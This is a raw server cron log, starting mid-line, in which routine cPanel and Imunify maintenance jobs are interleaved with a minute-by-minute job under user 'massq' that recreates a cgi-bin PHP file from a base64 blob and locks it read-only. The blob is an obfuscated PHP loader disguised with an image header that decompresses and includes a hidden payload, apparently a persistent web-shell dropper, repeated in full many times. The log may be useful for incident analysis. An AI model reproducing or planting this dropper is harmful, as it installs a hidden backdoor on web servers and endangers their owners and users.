fi; chmod 444 "$fp")
Sep  7 14:32:01 server CROND[23970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:32:01 server CROND[23972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:32:01 server CROND[23971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:33:01 server CROND[24356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:33:01 server CROND[24358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:33:01 server CROND[24357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:34:01 server CROND[24747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:34:01 server CROND[24748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:34:01 server CROND[24749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:35:01 server CROND[25272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:35:01 server CROND[25273]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 14:35:01 server CROND[25274]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:35:01 server CROND[25277]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 14:35:01 server CROND[25279]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 14:35:01 server CROND[25275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:35:01 server CROND[25282]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:35:01 server CROND[25281]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 14:35:01 server CROND[25284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:36:01 server CROND[26191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:36:01 server CROND[26192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:36:01 server CROND[26193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:37:01 server CROND[26576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:37:01 server CROND[26575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:37:01 server CROND[26577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:38:01 server CROND[27009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:38:01 server CROND[27010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:38:01 server CROND[27012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:39:01 server CROND[27402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:39:01 server CROND[27403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:39:01 server CROND[27404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:39:01 server CROND[27405]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 14:40:01 server CROND[27811]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 14:40:01 server CROND[27813]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 14:40:01 server CROND[27819]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 14:40:01 server CROND[27823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:40:01 server CROND[27825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 14:40:01 server CROND[27821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:40:01 server CROND[27820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:40:01 server CROND[27822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 14:41:01 server CROND[28731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:41:01 server CROND[28733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:41:01 server CROND[28732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:42:01 server CROND[29107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:42:01 server CROND[29108]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 14:42:01 server CROND[29106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 14:42:01 server CROND[29109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:43:01 server CROND[29502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 14:43:01 server CROND[29503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 14:43:01 server CROND[29504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
